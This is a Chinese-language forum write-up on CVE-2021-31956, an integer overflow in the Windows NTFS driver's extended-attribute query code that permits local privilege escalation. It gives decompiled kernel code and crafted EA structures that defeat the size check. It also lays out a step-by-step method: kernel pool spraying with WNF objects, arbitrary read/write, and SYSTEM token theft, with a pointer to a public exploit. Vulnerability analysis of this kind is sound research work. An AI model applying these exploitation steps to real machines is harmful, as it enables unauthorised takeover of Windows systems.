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[原创]CVE-2021-31956分析与利用
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发表于: 2022-1-12 00:49
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CVE-2021-31956是由Windows Ntfs组件系统存在整形溢出所导致，该漏洞可导致本地权限提升。
该漏洞发生在ntfs.sys中的NtfsQueryEaUserEaList函数中
上面的代码片段在循环遍历文件中的每个EA拓展属性，并将其拷贝到堆中，每次拷贝的大小为ea_block->EaValueLenght + ea_blocal->EaNameLength + 9。其中ea_block的结构如下：
在每次拷贝前有一个判断溢出的检查（RawEaSize <= UserBufferLength - padding），UserBufferLength是由参数传入并在每次循环中递减，padding由（padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize）计算而来，该表达式只会存在4个结果（0, 1, 2,3）。
内存拷贝的目的地址（v16）由参数传入，该参数是在NtfsCommonQueryEa函数中分配的内核池。
根据以上分析，当我们能够构造出“UserBufferLength < padding”时“RawEaSize <= UserBufferLength – padding”的溢出检查就会失效，从而进行内核池溢出。
总结来说，该漏洞有以下特点：
a) NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用，函数原型如下：
b) 溢出拷贝时数据和大小均可控。
c) 可以覆盖下一个内核池块
d) 内核池分配时大小可控，并且可以进行堆布局。
我们可以使用NtSetEaFile函数来为我们自己创建的文件添加EA拓展属性，其函数原型如下：
该函数的第3个参数是一个FILE_FULL_EA_INFORMATION结构的缓冲区，用来指定Ea属性的值。所以我们可以利用EA属性来构造PAYLOAD， 在使用NtQueryEaFile函数来触发。
创建含有两个FILE_FULL_EA_INFORMATION结构的数组。
构造第一个FILE_FULL_EA_INFORMATION结构如下
构造第二个FILE_FULL_EA_INFORMATION结构如下
调用NtSetEaFile函数来设置文件的Ea属性。
构造NtQueryEaFile函数的Ealist参数如下:
调用NtQueryEaFile函数来触发漏洞，构造该函数的length参数为19，该参数可用来控制0环申请内存时的大小。
内核池分配
第一次内存copy
padding的计算
溢出检查失效
第二次内存拷贝时，成功溢出
应用程序可以订阅特定类型的事件（StateName标识），在每次状态更改时可以进行通知。
用来创建一个WNF对象，该函数会在0环创建一个WNF_NAME_INSTANCE对象，大小为0xb8(WNF_NAME_INSTANCE + POOL_HEADER ).
（NtCreateWnfStateName函数片段）
更新WNF StateData，当Length小于StateData->AllocateSize时会根据Length大小来分配内核池，否则会将Buffer中的数据拷贝到内核池中。
查询指定stateName对应的stateData， 当BufferSize小于StateData->DataSize时，该函数会调用失败，并返回C0000023。
进行堆喷射，在0环中造成以下的内存布局。
利用Ntfs Chunk覆盖StateData中的DataSize成员， 后续就可以使用NtQueryWnfStateData API来读取NAME INSTACE对象中的内容。覆盖StateData中的AllocateSize成员，后续就可以使用NtUpDateWnfStateData API来修改NAME INSTACE对象中的内容。
利用 State Data Chunk来覆盖Name Instance chunk中的StateData指针，后续使用NtQueryWnfStateData和NtUpDateWnfStateData API来造成任意地址的读写（需要构造AllocateSize和DataSize成员）。
1 按照如上所示进行内核池布局。
2 利用相对内存读取，读取NAME INSTACE对象中的内容。（NAME INSTANCE对象中有两个比较重要的成员StateName和CreatorProcess， 前者由于所有的NAME INSTANCE对象都保存在一个排序二叉树中，破坏了StateName成员会导致系统无法找到相对应的NAME INSTANCE对象， 并且在进行喷射后我们也无法确定究竟是哪一个StateName对应的对象发生了溢出， 所以通过该方法可以准确定位到发生了溢出的NAME INSTANCE对象。 后者标识了当前进程的Eprocess对象，可以通过该对象来遍历所有进程的Eprocess结构）。
3 利用相对内存写入，修改NAME INSTANCE对象中的StateData成员为CreatorProcess （需要注意DataSize成员， 该成员直接影响读取的字节数和是否能够成功读取）。
4 利用任意内存读取遍历系统进程。
5 找到对应的系统进程后，利用任意内存读取获取系统进程的token。
6 利用任意内存写入，修改当前进程的token（需要注意AllocateSize成员）。
EXP已在Github上开源，目前只在win 1903上经过测试，稳定性大概在80%。
github传送门
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1,
FILE_FULL_EA_INFORMATION *CurrentEas,
__int64 a3, __int64 PEaBuffer, unsigned int UserBufferLength,
FILE_GET_EA_INFORMATION *pUserEaList,
char a7){. . . . . . while ( 1 )
{
// 索引ealist中的成员，用作下面的查找。
v11 = (FILE_GET_EA_INFORMATION *)((char *)pUserEaList + v9);
*(_QWORD *)&DestinationString.Length = 0i64;
DestinationString.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
*(_QWORD *)&DestinationString.Length = v11->EaNameLength;
DestinationString.MaximumLength = DestinationString.Length;
DestinationString.Buffer = v11->EaName;
RtlUpperString(&DestinationString, &DestinationString);
// 检查ealist中成员的name是否有效
if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )
break;
v12 = v11->NextEntryOffset;
v13 = v11->EaNameLength;
v22 = v11->NextEntryOffset + v9;
// 遍历查询的EaList
for ( curEaList = pUserEaList; ; curEaList = (FILE_GET_EA_INFORMATION *)((char *)curEaList
+ curEaList->NextEntryOffset) )
{
if ( curEaList == v11 )
{
v15 = offset;
// v16 分配的内核池
v16 = (_DWORD *)(PEaBuffer + padding + offset);
// 根据name查找对应的Ea信息
if ( NtfsLocateEaByName((__int64)CurrentEas, *(_DWORD *)(a3 + 4), &DestinationString, &FeaOffset) )
{
ea_block = (FILE_FULL_EA_INFORMATION *)((char *)CurrentEas + FeaOffset);
// 计算内存拷贝大小
RawEaSize = ea_block->EaValueLength + ea_block->EaNameLength + 9;
//防溢出检查
if ( RawEaSize <= UserBufferLength - padding )
{
//溢出点
memmove(v16, ea_block, RawEaSize);
*v16 = 0;
goto LABEL_8;
}
}
. . . . . . if ( !a7 )
{
if ( v24 )
*v24 = (_DWORD)v16 - (_DWORD)v24;
//判断是ealist中是否还有其他成员
if ( v11->NextEntryOffset )
{
v24 = v16;
// 总长度减去已经拷贝的长度
UserBufferLength -= RawEaSize + padding;
//padding的计算
padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize;
goto LABEL_26;
}
}
. . . . . .} (NtfsQueryEaUserEaList函数片段)
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1,
FILE_FULL_EA_INFORMATION *CurrentEas,
__int64 a3, __int64 PEaBuffer, unsigned int UserBufferLength,
FILE_GET_EA_INFORMATION *pUserEaList,
char a7){. . . . . . while ( 1 )
{
// 索引ealist中的成员，用作下面的查找。
v11 = (FILE_GET_EA_INFORMATION *)((char *)pUserEaList + v9);
*(_QWORD *)&DestinationString.Length = 0i64;
DestinationString.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
*(_QWORD *)&DestinationString.Length = v11->EaNameLength;
DestinationString.MaximumLength = DestinationString.Length;
DestinationString.Buffer = v11->EaName;
RtlUpperString(&DestinationString, &DestinationString);
// 检查ealist中成员的name是否有效
if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )
break;
v12 = v11->NextEntryOffset;
v13 = v11->EaNameLength;
v22 = v11->NextEntryOffset + v9;
// 遍历查询的EaList
for ( curEaList = pUserEaList; ; curEaList = (FILE_GET_EA_INFORMATION *)((char *)curEaList
+ curEaList->NextEntryOffset) )
{
if ( curEaList == v11 )
{
v15 = offset;
// v16 分配的内核池
v16 = (_DWORD *)(PEaBuffer + padding + offset);
// 根据name查找对应的Ea信息
if ( NtfsLocateEaByName((__int64)CurrentEas, *(_DWORD *)(a3 + 4), &DestinationString, &FeaOffset) )
{
ea_block = (FILE_FULL_EA_INFORMATION *)((char *)CurrentEas + FeaOffset);
// 计算内存拷贝大小
RawEaSize = ea_block->EaValueLength + ea_block->EaNameLength + 9;
//防溢出检查
if ( RawEaSize <= UserBufferLength - padding )
{
//溢出点
memmove(v16, ea_block, RawEaSize);
*v16 = 0;
goto LABEL_8;
}
}
. . . . . . if ( !a7 )
{
if ( v24 )
*v24 = (_DWORD)v16 - (_DWORD)v24;
//判断是ealist中是否还有其他成员
if ( v11->NextEntryOffset )
{
v24 = v16;
// 总长度减去已经拷贝的长度
UserBufferLength -= RawEaSize + padding;
//padding的计算
padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize;
goto LABEL_26;
}
}
. . . . . .} (NtfsQueryEaUserEaList函数片段)
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset; //下一个同类型结构的偏移，若是左后一个则为0。
UCHAR Flags;
UCHAR EaNameLength; //eanam数组的长度，不包含0终止字符。
USHORT EaValueLength; //数组中每个ea值的长度
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset; //下一个同类型结构的偏移，若是左后一个则为0。
UCHAR Flags;
UCHAR EaNameLength; //eanam数组的长度，不包含0终止字符。
USHORT EaValueLength; //数组中每个ea值的长度
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
. . . . .IrpSp = IoGetCurrentIrpStackLocation( Irp );
. . . . .UserBufferLength = IrpSp->Parameters.QueryEa.Length;
. . . . .if ( *(_BYTE *)(a2 + 64) )
{
v34 = v14;
v4 = ExAllocatePoolWithTag((POOL_TYPE)17, UserBufferLength, 0x4546744Eu);
v28 = v4;
v24 = 1;
}
memset(v4, 0, v10);
. . . . . .
if ( v33 )
{ v15 = NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);
}. . . . . . （NtfsCommonQueryEa函数片段）
. . . . .IrpSp = IoGetCurrentIrpStackLocation( Irp );
. . . . .UserBufferLength = IrpSp->Parameters.QueryEa.Length;
. . . . .if ( *(_BYTE *)(a2 + 64) )
{
v34 = v14;
v4 = ExAllocatePoolWithTag((POOL_TYPE)17, UserBufferLength, 0x4546744Eu);
v28 = v4;
v24 = 1;
}
memset(v4, 0, v10);
. . . . . .
if ( v33 )
{ v15 = NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);
}. . . . . . （NtfsCommonQueryEa函数片段）
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer, //扩展属性缓冲区（FILE_FULL_EA_INFORMATION结构）
[in] ULONG Length, //缓冲区大小
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList, //指定需要查询的扩展属性
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex, //指定需要查询的起始索引
[in] BOOLEAN RestartScan
); NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer, //扩展属性缓冲区（FILE_FULL_EA_INFORMATION结构）
[in] ULONG Length, //缓冲区大小
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList, //指定需要查询的扩展属性
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex, //指定需要查询的起始索引
[in] BOOLEAN RestartScan
); NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer, //设置的Ea属性，指向FILE_FULL_EA_INFORMATION结构，该结构定义如上。
[in] ULONG Length //Ea属性缓冲区的长度
); NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer, //设置的Ea属性，指向FILE_FULL_EA_INFORMATION结构，该结构定义如上。
[in] ULONG Length //Ea属性缓冲区的长度
);curEa->Flags = 0;
// EaNameLength + EaValueLength +9 等于当前结构的总大小， 这里构造为18，使padding=2.
curEa->EaNameLength = 3;
curEa->EaValueLength = 6;
//NextEntryOffset指向下一个EA信息，必须4字节对齐。
curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
memcpy(curEa->EaName, ".PA", 3);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 6 , 0);
curEa->Flags = 0;
// EaNameLength + EaValueLength +9 等于当前结构的总大小， 这里构造为18，使padding=2.
curEa->EaNameLength = 3;
curEa->EaValueLength = 6;
//NextEntryOffset指向下一个EA信息，必须4字节对齐。
curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
memcpy(curEa->EaName, ".PA", 3);
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